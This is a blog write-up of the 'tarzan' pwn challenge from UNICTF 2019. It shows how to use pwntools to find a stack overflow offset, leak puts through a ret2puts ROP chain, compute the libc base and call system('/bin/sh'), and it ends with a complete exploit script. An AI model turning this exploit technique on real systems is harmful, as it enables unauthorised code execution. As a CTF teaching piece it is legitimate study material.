Skip to main content

WriteUp PWN tarzan ROP UNICTF ಠ_ಠ (day 61)



So in this post, I'm going to talk about how to solve the Tarzan pwn challenge from UNICTF 2019. Back in the day when the competition is still going I couldn't finish it and don't have any clue to solve this but this time I was able to finish it :)

Also in this post, we will be going to be heavily focused on how to utilize pwntools to construct a ROP chain. If you kinda confused about my explanation in this post you can refer to this following youtube video, link: https://www.youtube.com/watch?v=gWU2yOu0COk

I build the python script based on this video

Ok, let's get started!



In this challenge, you will get two binary first go with tarzan and libc-2.29.so by providing .so file it tell us what version library that the target machine is using this could help us to do ROP chain.

first, we run the Tarzan binary to get the basic idea of the program work and as you can see it just show you some text, newline and when you try to input something it doesn't give anything



Let's load it into peda

check the security (as you can see the NX is on this means we cannot put a shell on it since the stack is not executable) and when enumerating function inside the program. It doesn't really give us any function that is interesting



when you open the main function you can see that the read function is allocating buffer in the wrong manner make it vulnerable to buffer overflow. Let's try to find how many offsets we need to overwrite the RIP






Ok so we need 24 bytes of offsets to take control of the RIP

To make sure we got the right offset we are going to make the following script



part 1, we initialize the binary into the ELF object and at the same time, we passed it also to the context.binary function and by passing the ELF object to context.binary it automatically tells the pwntools to load the binary with architecture that is used by the binary and the gdbscript variable itself only put a breakpoint in the main function (this is optional you can custom it according to your need) this variable will be passed into point 2 and 3 of our script

parts 2 and 3, Ok, so why we need to create this two functions in python script it seems like a waste of time. Because in my opinion, I think it is better when we do some testing I want to get the information as detail as possible on how the binary behavior so using this two functions can show a more verbose output when we interact with the binary locally or remote

part 4, the start variable will check if the script is passed with argument LOCAL or remote with this script know what mode we want to run. The rest of the code is pretty simple we start the program to make a ROP object from the ELF object that we make from part 1 and load the library since we want to refer every function location from this library.



when it runs it will give us a very detail interaction between the program and the user

now to test our offset we update the script to be like this



notice that I used fit function to send data to the binary. This is basically told the script to generate 24 random characters to the binary and after the 24th characters, we append the location of the main function. If the offset was right it will go back again to the main function and will give us another prompt else it will crash the application.

But how do we know that we passed the main function with the right offset of bytes since the binary is 64 bit. Don't worry pwntools already take care of that since we already passed the architecture information at the first part of the program

~# python exploit.py LOCAL DEBUG



cool! so we can say that we got the right offset since from the figure when we run the script we get the banner of "Hello tarzan.." twice this means we are able to control the flow of the program.




let's update the script to create the first ROP chain like the above figure. Now, this is what makes creating the ROP chain a little less painful in pwntools. As you can see there is a rop.call function this is used chain our function call together.

the first rop.call function put together puts function and puts location in GOT in the first phase we want to dump the puts function using ret2puts approach and then we continue to append the rop chain with the main function so it will back again to the main function so we can use it again in the second phase

but wait the minute what about the ROP gadget. Don't worry pwntools already take care of it so when you construct the following ROP it will automatically put pop rdi; ret location at the ROP chain

so using these two rop.call function the payload will be set up like this:

| pop rdi; ret    | -> assign the puts GOTs as the first param
| puts function | -> function executed
| puts GOTs      | -> parameter for the function
| main function| -> return address



if you run the following updated script as you can see at the first few bytes contain the address of puts function and this where debug function that we create at the beginning of script become handy we can easily spot the leaked address

cool so we can this byte and display it in our script, update the script again to be like this:



notice that we passed False param at the io.recvline() function this is used to make the script to stop reading the byte when hit the newline character which is "\xa"

u64 use to convert the string that leaks the address of the puts function into a number and notice before we unpack it, we left-justified the data to eight with "\x00" this is basically to get rid of the newline that we got earlier



Next, since we have the leaked address we can use this to calculate the libc address that was provided in the challenge. Update the following script like the below figure



we subtract the puts leaked address with the puts that inside the libc-2.29.so file to get the libc base address and assign it as the base address of our ELF object for .so file earlier.



run the script again and we got the base address of libc-2.29.so next we will construct the second ROP to pop a shell.




we got the address of system function using "l.sym.system"  and the location of "/bin/sh" string using l.search("/bin/sh") we need to pass it to next function since the return data type is an iterator.

then at the end we generate 24 characters again with the rop.chain function and then use the interactive function to communicate with the shell.



if you run the following python script you will definitely 100% get a segmentation fault

why?

because of the fact that the Tarzan binary is using libc.so.6 library from your host not the libc-2.29.so version



so how the hell can we test this exploit work or not?

I do a little bit of research and it turns out libc-2.29.so is used in the ubuntu 19-04 distribution. So I just download the image and run it in virtualbox


the final script is like this:

from pwn import *

elf = context.binary = ELF("./tarzan")
gdbscript = '''break *0x{elf.symbols.main:x}
continue
'''.format(**locals())

def local(argv=[], *a,**kw):
    if args.gdb:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript,*a,**kw)
    else:
        return process([elf.path] + argv, *a, **kw)

def remote(argv=[], *a,**kw):
    io = connect(host,port)
    if args.GDB:
        gdb.attach(io,gdbscript=gdbscript)
    return io

start = local if args.LOCAL else remote

io = start()
rop = ROP(elf)
l = ELF("./libc-2.29.so")
io.recvline()
io.recvline()
io.sendline(fit({24:elf.sym.main}))

#first rop (ret2puts)
io.recvline()
io.recvline()
rop.call(elf.sym.puts,[elf.got.puts])
rop.call(elf.sym.main)
io.sendline(fit({24:rop.chain()}))
leak_puts = io.recvline(False)
io.recvline()
io.recvline()
puts_addr = u64(leak_puts.ljust(8,"\x00"))
log.info("puts addr:{}".format(hex(puts_addr)))

#get libc base address
libc_base = puts_addr - l.sym.puts
l.address = libc_base #adjust libc address
log.info("libc is at: {}".format(hex(l.address)))

#io.interactive()

#second rop(get the shell)
r= ROP(elf)
system = l.sym.system
bin_sh = next(l.search("/bin/sh"))

log.info("system is at: {}".format(hex(system)))
log.info("bin/sh is at:{}".format(hex(bin_sh)))

r.call(system,[bin_sh])
print disasm(r.chain())
io.sendline(fit({24:r.chain()}))
io.interactive()

cool :) so we pop a shell btw I'm not 100% sure that this exploit is working in the real-life environment at the competition since at that time I never had a chance to test it.

I hope this helps you to utilize pwntools more.


Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct